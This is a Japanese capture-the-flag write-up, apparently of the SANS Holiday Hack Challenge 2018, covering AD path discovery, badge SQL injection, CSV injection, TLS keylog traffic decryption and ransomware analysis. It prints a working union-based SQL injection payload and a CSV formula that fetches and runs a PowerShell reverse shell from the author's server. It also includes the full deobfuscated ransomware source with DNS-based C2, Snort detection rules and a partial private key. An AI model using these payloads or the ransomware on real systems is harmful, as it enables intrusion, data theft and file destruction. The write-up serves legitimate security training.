----------------7f46bd5f88d0d5ac9f68ef50bebb7c52cfa67442----------------
diff --git a/schematics/for_elf_eyes_only.md b/schematics/for_elf_eyes_only.md
deleted file mode 100644
index b06a507..0000000
--- a/schematics/for_elf_eyes_only.md
+++ /dev/null
@@ -1,15 +0,0 @@
-Our Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore, Albaster discovered and published a vulnerability with our password length at the last Hacker Conference.
-
-Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing he caught it before those dastardly villians did!
-
- 
-Hopefully this is the last time we have to change our password again until next Christmas. 
-
-
-
-
-Password = 'Yippee-ki-yay'
-
-
-Change ID = '9ed54617547cfca783e0f81f8dc5c927e3d1e3'
-

Yippee-ki-yayが答え。

5) AD Privilege Discovery

以下、問題文を抜粋。

find a reliable path from a Kerberoastable user to the Domain Admins group.
What’s the user’s logon name?
Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws.

Kerberoastable userからDomain Admins groupへのパスを見つけろ、但しRDP接続は除けとのこと。
Active Directoryに疎いので、正直、意味を理解しきれていないが、とりあえず手を動かしてみる。

ovaファイルが提供され、Active DirectoryログはBloodHoundという解析ツールに取り込み済み。親切~。

BloodHoundを起動してポチポチ触ると、あらかじめ用意されたCustom Queryがある。
その中から、Shortest Paths to Domain Admins from Kerberoastable Usersという、ドンピシャなQueryを発見。

選択してプロットされた図から、RDPを介さずにDomain Admins groupに到達するユーザーを発見。
f:id:graneed:20190114134355p:plain

LDUBEJ00320@AD.KRINGLECASTLE.COMが答え。

6) Badge Manipulation

カメラモニタと指紋認証とUSB端子があるドアを開ける。
f:id:graneed:20190114134944p:plain

右上の緑の四角をクリックすると、リアルな人間の手が表示され、指紋認証が始まるが開かない。

USB端子をクリックするとファイルアップロードが可能。 適当なファイルをアップロードすると、QRコードをアップしろとのエラーメッセージが表示された。

なお、左の黒い四角のモニタは、PCにカメラが接続されていれば本当に映る。 知らずに、出先でカメラ付きのノートPCでチャレンジしていたときに、突然自分の顔が映ったときは心拍数が跳ね上がった。

サブ問題を解いてSQL Injectionというヒントを得た。
よって、シングルクォーテーションが入った文字列をQRコード画像化してアップロードすると以下のメッセージが返却された。

{"data":"EXCEPTION AT (LINE 96 \"user_info = query(\"SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"): (1064, u\"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' LIMIT 1' at line 1\")","request":false}

単純なSQL Injectionのようだ。enabled を1にするため、union句を使ったSQL文を作成する。

' union all select 1,1,1 #

上記のSQL文を埋め込んで作成したQRコードはこちら。
f:id:graneed:20190114140331p:plain

メッセージが流れてしまっているが、アップロードしたら認証成功した。
f:id:graneed:20190114140349p:plain

7) HR Incident Response

https://careers.kringlecastle.com/ から、C:\candidate_evaluation.docxを取得して、Kから始まる求職者が加担しているサイバーテロリスト組織名を答える問題。

サブ問題を解いてCSV Injectionというヒントを得た。
なるほど、CSVがアップロードできる。

Excelで開いたらセル内の式が発動してpowershellを起動するCSVを作ってアップロードし、リバースシェルを取ればよさそうだ。
CSV形式のマルウェア、昨年のばらまき型メールの添付ファイルでも何度か見たことを思い出した。

作成したCSVは以下のとおり。Excelで開いたらmini-reverse.ps1を自サーバからダウンロードして実行する単純なもの。

=cmd|' /C powershell IEX (New-Object Net.WebClient).DownloadString("http://my-server/mini-reverse.ps1")'!A1

リバースシェルはこれを使った。
A reverse shell in Powershell · GitHub

先頭のIPアドレスとPort番号を書き換える。 また、IEXで実行するため、ダブルクォーテーションをエスケープする必要があった。"\"に置換した。少々ハマった。

実行の手順は以下の通り。

  1. nc -l -p <ポート番号>を実行して待ち受け準備。
  2. 別ターミナルでapacheアクセスログtail -fで流して監視。
  3. CSVのアップロードを実行。
  4. mini-reverse.ps1 へアクセスが来た数秒後に、以下のコマンドを投入。
powershell [Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\\candidate_evaluation.docx'))
UEsDBBQACAgIAC2fh00AAAAAAAAAAAAAAAALAAAAX3JlbHMvLnJlbHO(snip)

得られたBASE64エンコード文字列をデコードしてWordで開く。

f:id:graneed:20190114143629p:plain

Fancy BearFancy Beaverが答え。

8) Network Traffic Forensics

パケットキャプチャ&パケットアナライザを提供するWebシステムを使用して、Holly EvergreenからAlabaster Snowballへ送ったドキュメントを取得する問題。

アカウントを登録してログインすると、Analyze PCAPSNIFF TRAFFICというボタンがある。
Analyze PCAPは、PCAPファイルをアップロードして一覧表示する機能。
SNIFF TRAFFICは、20秒間、このシステムがパケットキャプチャして、PCAPファイルとしてダウンロードできる機能。

最初、何をするのかわからなかったが、どうやら、SNIFF TRAFFICしたPCAPファイルに、Holly EvergreenからAlabaster Snowballへ送ったドキュメントの手がかりがあるようだ。

ただ、HTTPSによる通信のため、PCAPファイルをWireSharkで開いてもApplication Dataと表示されて中身がみれない。

Webシステムの調査を進めると、以下のコメントを発見。

(snip)
        //File upload Function. All extensions and sizes are validated server-side in app.js
(snip)
                        //File Size and extensions are also validated server-side in app.js.
(snip)

app.jsのソースを探すと、https://packalyzer.kringlecastle.com/pub/app.js に発見。

ソースコードを読み解く。注目するべきは以下の2か所。

const dev_mode = true;
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
const options = {
  key: fs.readFileSync(__dirname + '/keys/server.key'),
  cert: fs.readFileSync(__dirname + '/keys/server.crt'),
  http2: {
    protocol: 'h2',         // HTTP2 only. NOT HTTP1 or HTTP1.1
    protocols: [ 'h2' ],
  },
  keylog : key_log_path     //used for dev mode to view traffic. Stores a few minutes worth at a time
};

function load_envs() {
  var dirs = []
  var env_keys = Object.keys(process.env)
  for (var i=0; i < env_keys.length; i++) {
    if (typeof process.env[env_keys[i]] === "string" ) {
      dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') )
    }
  }
  return uniqueArray(dirs)
}
if (dev_mode) {
    //Can set env variable to open up directories during dev
    const env_dirs = load_envs();
} else {
    const env_dirs = ['/pub/','/uploads/'];
}

(snip)

  //Route for anything in the public folder except index, home and register
router.get(env_dirs,  async (ctx, next) => {
try {
    var Session = await sessionizer(ctx);
    //Splits into an array delimited by /
    let split_path = ctx.path.split('/').clean("");
    //Grabs directory which should be first element in array
    let dir = split_path[0].toUpperCase();
    split_path.shift();
    let filename = "/"+split_path.join('/');
    while (filename.indexOf('..') > -1) {
    filename = filename.replace(/\.\./g,'');
    }
    if (!['index.html','home.html','register.html'].includes(filename)) {
    ctx.set('Content-Type',mime.lookup(__dirname+(process.env[dir] || '/pub/')+filename))
    ctx.body = fs.readFileSync(__dirname+(process.env[dir] || '/pub/')+filename)
    } else {
    ctx.status=404;
    ctx.body='Not Found';
    }
} catch (e) {
    ctx.body=e.toString();
}
});

①より、__dirname + process.env.DEV + process.env.SSLKEYLOGFILEに、keylogファイルを出力している。

以下ドキュメントを読んだところ、keylogファイルがあれば、特定の時間内のPCAPファイルを復号できるようだ。
(流石、SANS!)
www.sans.org

②より、process.envにセットされている環境変数の文字列が、静的コンテンツのダウンロード先ディレクトリになるようだ。 例えば、process.env.HOGE = "fuga"がセットされていれば、/fuga/aaaa.txtファイルをダウンロードできる模様。

keylogファイルはprocess.env.DEVディレクトリ配下に作成されることはわかっているため、process.env.DEVprocess.env.SSLKEYLOGFILEの値がわかればダウンロードできる。

試しにprocess.env.DEVprocess.env.SSLKEYLOGFILEの変数名をそのままパスにしてアクセスしてみる。

https://packalyzer.kringlecastle.com/DEV/

Error: EISDIR: illegal operation on a directory, read  

DEVディレクトリが存在するようだ!

https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/

Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'  

SSLKEYLOGFILEのファイル名がわかった!

これらの情報より、keylogファイルのパスが判明した。
https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log

CLIENT_RANDOM 3597D1735D7B3A17DDE8E500AA4E9A82AE04A56F4B2C0581FA24DCB97410C7E5 5C72E0E51E6237CF65C554D2AD798724F8F38FD6B98407CACCEA1E0D95490216BB3B34A729E961C597A707EF694AEE37
CLIENT_RANDOM 199892BA0535C02CD1AB9A832F85BDAA1A4A32194B10A52D0C57BD39C2BECF4E 30DD840A5084BC474BD4AB3390AA7A60CBC25FA231F30C9A77B8004F78C382C228A184722E2493183E5449ADD68FF991
CLIENT_RANDOM F28FAE7892D99F9D1CAD42592BDD370B02D928194C47491A240C63FBE05239C5 ACD8FB9E512932F814D96F90565EE97D79EBCF77F93D821683EE53F402513C7B9CA59E79BAD10871B9ADF648BB37165A
CLIENT_RANDOM F12159347D0B70C00CEE2F39F425E35ECC780CD3A8E739904BAB8F18832132B0 4323B6691163A22188978D58F03F15AD4EE12DF320DFC1CDBE0CF4714FA3842EA58745E56457FC16264D2897598AEF63
CLIENT_RANDOM 8D14BC97A066335AB829BD5B2EBBB7E25ABE4C95A9C1035D6613E3DB9A7EFF21 DC82E8547E2CC9089C99E066E3CD2F81575E875AFBF90D06FED7B83B692A60FABC4FE32A2848945D50A4A694EEDD9451
(snip)

SNIFF TRAFFICボタンを押下してPCAPファイルを取得してから、直後にkeylogファイルをダウンロードする。
WireSharkの編集 -> 設定 -> Protocol -> SSLの画面で、(Pre)-Master-Secret log filenamekeylogファイルをセットする。
f:id:graneed:20190114153233p:plain

PCAPファイルを開くとTLS暗号化されていた中身が見れた。 WireShark上でグリーン表示になった時は感動した。 f:id:graneed:20190114153534p:plain

通信内容はHTTP2。DATAフレームを中心に中身を確認する。
なお、以前に技術書典5で購入した本を読んでいたので、通常のHTTP通信との違いに戸惑うことなく、すんなりと解析を始められた。おすすめ。 booth.pm

DATAフレームを眺めていると、alabasterユーザのクレデンシャル情報を発見。 f:id:graneed:20190114153706p:plain

ログインしてみると、Captures画面にいかにもなPCAPファイルを発見。 f:id:graneed:20190114154500p:plain

ダウンロードしてWireSharkで開くとSMTPの通信。
f:id:graneed:20190114154712p:plain

BASE64デコードするとPDFファイルになった。
f:id:graneed:20190114154847p:plain

2ページ目の末尾のMary Had a Little Lambが答え。

9) Ransomware Recovery

不審な通信検知、ランサムウェアマルウェア解析、キルスイッチ設定、被害ファイルの復号をする問題。

9-1) Catch the Malware

PCAPファイルを読み解いて、不審な通信先をアラート検知するSnortルールを作る問題。

ドメインとIPは変動するので、パターンを見極めてルールを作る必要がある。

まず、PCAPファイルから傾向をつかむ。

elf@359a2f37b283:~$ tshark -r snort.log.pcap -T fields -e dns.qry.name
77616E6E61636F6F6B69652E6D696E2E707331.easrbnhrug.org
77616E6E61636F6F6B69652E6D696E2E707331.easrbnhrug.org
77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net
77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net
durex.linkedin.com
durex.linkedin.com
0.77616E6E61636F6F6B69652E6D696E2E707331.easrbnhrug.org
0.77616E6E61636F6F6B69652E6D696E2E707331.easrbnhrug.org
0.77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net
0.77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net
preoffering.earthfall.google.com
preoffering.earthfall.google.com
1.77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net
1.77616E6E61636F6F6B69652E6D696E2E707331.bngaurrhes.net
asked.suctional.islandology.yahoo.com
asked.suctional.islandology.yahoo.com

77616E6E61636F6F6B69652E6D696E2E707331が含まれているドメインがどう見ても悪性。

このランダム文字列の部分も変動すると思い正規表現を駆使したルールを作っていたが、結局、以下のルールで成功した。 ちょっと肩すかし。

alert udp $HOME_NET any -> $EXTERNAL_NET 53 (msg:"BLACKLIST DNS domain"; pcre:"/77616E6E61636F6F6B69652E6D696E2E707331/"; sid:1000001; rev:1;)
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"BLACKLIST DNS domain"; pcre:"/77616E6E61636F6F6B69652E6D696E2E707331/"; sid:1000002; rev:1;)

f:id:graneed:20190114160321p:plain

なお、最初、クライアント→サーバの通信だけアラート検知すればよいと思い、中々成功せずに少々ハマった。

9-2) Identify the Domain

ランサムウェアのwordファイルを解析して通信先のドメインを特定する問題。

olevbaツールを使うと以下のマクロが見つかる。

powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C "sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"

BASE64デコードして、Deflateをかければ中身がわかる。

>>> import base64
>>> import zlib
>>> encoded = 'lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'
>>> decoded = base64.b64decode(encoded)
>>> decompressed = zlib.decompress(decoded, -15)
>>> print(decompressed.decode("utf-8"))
function H2A($a) {$o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; iex($(H2A $h | Out-string))

erohetfanu.comが答え。

9-3) Stop the Malware

マルウェアキルスイッチ機能が実装されているようで、そのドメインを特定する問題。
9-2のPowerShellを実行して、2次検体を取得する。

ただ、そのまま実行すると自分も被害にあう可能性があるため、最後にiexで実行している部分をコメントアウトし、コード実行はせずにコードを文字列で出力するよう改造する。

function H2A($a) {
    $o;
    $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o
};
$f = "77616E6E61636F6F6B69652E6D696E2E707331";
$h = "";
foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {
    $h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings
};
#iex($(H2A $h | Out-string))
$(H2A $h | Out-string)

実行結果は以下の通り。

PS D:\Develop\CTF\Contest\HolidayChallenge2018> powershell .\1次検体.ps1
$functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');[System.Int32]$KeySize = $key.Length*8;$AESP = New-Object 'System.Security.Cryptography.AesManaged';$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AESP.BlockSize = 128;$AESP.KeySize = $KeySize;$AESP.Key = $key;$FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);if ($enc_it) {$DestFile = $File + $Suffix} else {$DestFile = ($File -replace $Suffix)};$FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);if ($enc_it) {$AESP.GenerateIV();$FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);$FileSW.Write($AESP.IV, 0, $AESP.IV.Length);$Transform = $AESP.CreateEncryptor()} else {[Byte[]]$LenIV = New-Object Byte[] 4;$FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($LenIV,  0, 3) | Out-Null;[Int]$LIV = [System.BitConverter]::ToInt32($LenIV,  0);[Byte[]]$IV = New-Object Byte[] $LIV;$FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($IV, 0, $LIV) | Out-Null;$AESP.IV = $IV;$Transform = $AESP.CreateDecryptor()};$CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);[Int]$Count = 0;[Int]$BlockSzBts = $AESP.BlockSize / 8;[Byte[]]$Data = New-Object Byte[] $BlockSzBts;Do {$Count = $FileSR.Read($Data, 0, $BlockSzBts);$CryptoS.Write($Data, 0, $Count)} While ($Count -gt 0);$CryptoS.FlushFinalBlock();$CryptoS.Close();$FileSR.Close();$FileSW.Close();Clear-variable -Name "key";Remove-Item $File}};function H2B {param($HX);$HX = $HX -split '(..)' | ? { $_ };ForEach ($value in $HX){[Convert]::ToInt32($value,16)}};function A2H(){Param($a);$c = '';$b = $a.ToCharArray();;Foreach ($element in $b) {$c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))};return $c -replace ' '};function H2A() {Param($a);$outa;$a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_};return $outa};function B2H {param($DEC);$tmp = '';ForEach ($value in $DEC){$a = "{0:x}" -f [Int]$value;if ($a.length -eq 1){$tmp += '0' + $a} else {$tmp += $a}};return $tmp};function ti_rox {param($b1, $b2);$b1 = $(H2B $b1);$b2 = $(H2B $b2);$cont = New-Object Byte[] $b1.count;if ($b1.count -eq $b2.count) {for($i=0; $i -lt $b1.count ; $i++) {$cont[$i] = $b1[$i] -bxor $b2[$i]}};return $cont};function B2G {param([byte[]]$Data);Process {$out = [System.IO.MemoryStream]::new();$gStream = New-Object System.IO.Compression.GzipStream $out, ([IO.Compression.CompressionMode]::Compress);$gStream.Write($Data, 0, $Data.Length);$gStream.Close();return $out.ToArray()}};function G2B {param([byte[]]$Data);Process {$SrcData = New-Object System.IO.MemoryStream( , $Data );$output = New-Object System.IO.MemoryStream;$gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress);$gStream.CopyTo( $output );$gStream.Close();$SrcData.Close();[byte[]] $byteArr = $output.ToArray();return $byteArr}};function sh1([String] $String) {$SB = New-Object System.Text.StringBuilder;[System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{[Void]$SB.Append($_.ToString("x2"))};$SB.ToString()};function p_k_e($key_bytes, [byte[]]$pub_bytes){$cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;$cert.Import($pub_bytes);$encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);return $(B2H $encKey)};function e_n_d {param($key, $allfiles, $make_cookie );$tcount = 12;for ( $file=0; $file -lt $allfiles.length; $file++  ) {while ($true) {$running = @(Get-Job | Where-Object { $_.State -eq 'Running' });if ($running.Count -le $tcount) {Start-Job  -ScriptBlock {param($key, $File, $true_false);try{e_d_file $key $File $true_false} catch {$_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append}} -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions;break} else {Start-Sleep -m 200;continue}}}};function g_o_dns($f) {$h = '';foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {$h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings};return (H2A $h)};function s_2_c($astring, $size=32) {$new_arr = @();$chunk_index=0;foreach($i in 1..$($astring.length / $size)) {$new_arr += @($astring.substring($chunk_index,$size));$chunk_index += $size};return $new_arr};function snd_k($enc_k) {$chunks = (s_2_c $enc_k );foreach ($j in $chunks) {if ($chunks.IndexOf($j) -eq 0) {$n_c_id = $(Resolve-DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings} else {$(Resolve-DnsName -Server erohetfanu.com -Name "$n_c_id.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings}};return $n_c_id};function wanc {$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return};if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return};$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00});$h_k = $(B2H $b_k);$k_h = $(sh1 $h_k);$p_k_e_k = (p_k_e $b_k $p_k).ToString();$c_id = (snd_k $p_k_e_k);$d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");[array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});e_n_d $b_k $f_c $true;Clear-variable -Name "h_k";Clear-variable -Name "b_k";$lurl = 'http://127.0.0.1:8080/';$html_c = @{'GET /'  =  $(g_o_dns (A2H "source.min.html"));'GET /close'  =  '<p>Bye!</p>'};Start-Job -ScriptBlock{param($url);Start-Sleep 10;Add-type -AssemblyName System.Windows.Forms;start-process "$url" -WindowStyle Maximized;Start-sleep 2;[System.Windows.Forms.SendKeys]::SendWait("{F11}")} -Arg $lurl;$list = New-Object System.Net.HttpListener;$list.Prefixes.Add($lurl);$list.Start();try {$close = $false;while ($list.IsListening) {$context = $list.GetContext();$Req = $context.Request;$Resp = $context.Response;$recvd = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath;if ($recvd -eq 'GET /') {$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /decrypt') {$akey = $Req.QueryString.Item("key");if ($k_h -eq $(sh1 $akey)) {$akey = $(H2B $akey);[array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse  -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});e_n_d $akey $f_c $false;$html = "Files have been decrypted!";$close = $true} else {$html = "Invalid Key!"}} elseif ($recvd -eq 'GET /close') {$close = $true;$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /cookie_is_paid') {$c_n_k = $(Resolve-DnsName -Server erohetfanu.com -Name ("$c_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings;if ( $c_n_k.length -eq 32 ) {$html = $c_n_k} else {$html = "UNPAID|$c_id|$d_t"}} else {$Resp.statuscode = 404;$html = '<h1>404 Not Found</h1>'};$buffer = [Text.Encoding]::UTF8.GetBytes($html);$Resp.ContentLength64 = $buffer.length;$Resp.OutputStream.Write($buffer, 0, $buffer.length);$Resp.Close();if ($close) {$list.Stop();return}}} finally {$list.Stop()}};wanc;

整形しながら読み進める。(良いPowerShellの整形ツールが見つからない・・・。誰か教えてください。)

キルスイッチとなるドメイン名を特定する問題なので、実行後の前半部分でreturnする処理に着目する。

$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {
    return
};

DNSから情報をかき集めており、ソースコードを見ていても答えは無いため、実行してしまうことにする。
参照している関数を集めて、1つのps1ファイルにする。

function H2B {
    param($HX); $HX = $HX -split '(..)' | ? { $_ };
    ForEach ($value in $HX) {[Convert]::ToInt32($value, 16)}
}; 

function H2A() {
    Param($a);
    $outa;
    $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_, 16))} | forEach {$outa = $outa + $_};
    return $outa
};

function B2H {
    param($DEC); $tmp = '';
    ForEach ($value in $DEC) {
        $a = "{0:x}" -f [Int]$value;
        if ($a.length -eq 1) {
            $tmp += '0' + $a
        } else {
            $tmp += $a
        }
    };
    return $tmp
};

function ti_rox {
    param($b1, $b2);
    $b1 = $(H2B $b1);
    $b2 = $(H2B $b2);
    $cont = New-Object Byte[] $b1.count;
    if ($b1.count -eq $b2.count) {
        for ($i = 0; $i -lt $b1.count ; $i++) {
            $cont[$i] = $b1[$i] -bxor $b2[$i]
        }
    };
    return $cont
};

function G2B {
    param([byte[]]$Data);
    Process {
        $SrcData = New-Object System.IO.MemoryStream( , $Data );
        $output = New-Object System.IO.MemoryStream;
        $gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress);
        $gStream.CopyTo( $output );
        $gStream.Close();
        $SrcData.Close();
        [byte[]] $byteArr = $output.ToArray();
        return $byteArr
    }
};

$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
$(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)))

実行するとドメイン名らしき文字列が表示される。

PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\killswitch.ps1
yippeekiyaa.aaay

yippeekiyaa.aaayが答え。

サンタ城内の端末からドメイン登録する。
f:id:graneed:20190114164646p:plain

登録に成功した。(間違ったドメインを入力すると登録できない。)
f:id:graneed:20190114164659p:plain

9-4) Recover Alabaster's Password

ランサムウェアの被害にあったファイルを復号する問題。

ランサムウェア実行時のpowershellのメモリダンプファイルが与えられる。

とりあえず、ソースコードを読み進める。

$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );
$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00});
$h_k = $(B2H $b_k);
$k_h = $(sh1 $h_k);
$p_k_e_k = (p_k_e $b_k $p_k).ToString();
$c_id = (snd_k $p_k_e_k);
  • $p_kは、犯人のC2サーバから取得する公開鍵
  • $b_kは、ファイル暗号化に使用するランダムの16バイトの共通鍵
  • $p_k_e_kは、$b_k$p_kで暗号化したデータ
  • $h_k$k_hおよび$c_idは、身代金の支払い画面で使用するパラメータのため割愛

$p_k_e_kを復号できれば、$b_kが判明しファイルを復号できる。
しかし、$p_kに対応する秘密鍵が必要で、犯人しか持っていないはず。

7365727665722E637274がASCII文字っぽいことに気付く。

>>> import binascii
>>> binascii.unhexlify(b'7365727665722E637274')
b'server.crt'

server.crt!
ちょ、そのまんま!!!

秘密鍵server.keyを同じ要領で取得できるかも。

>>> binascii.hexlify('server.key'.encode("utf-8"))
b'7365727665722e6b6579'

公開鍵$p_kの取得と同じくg_o_dns関数を使う。

PS D:\Develop\CTF\Contest\HolidayChallenge2018> $(g_o_dns("7365727665722e6b6579"));
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG
L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW
OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN
6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
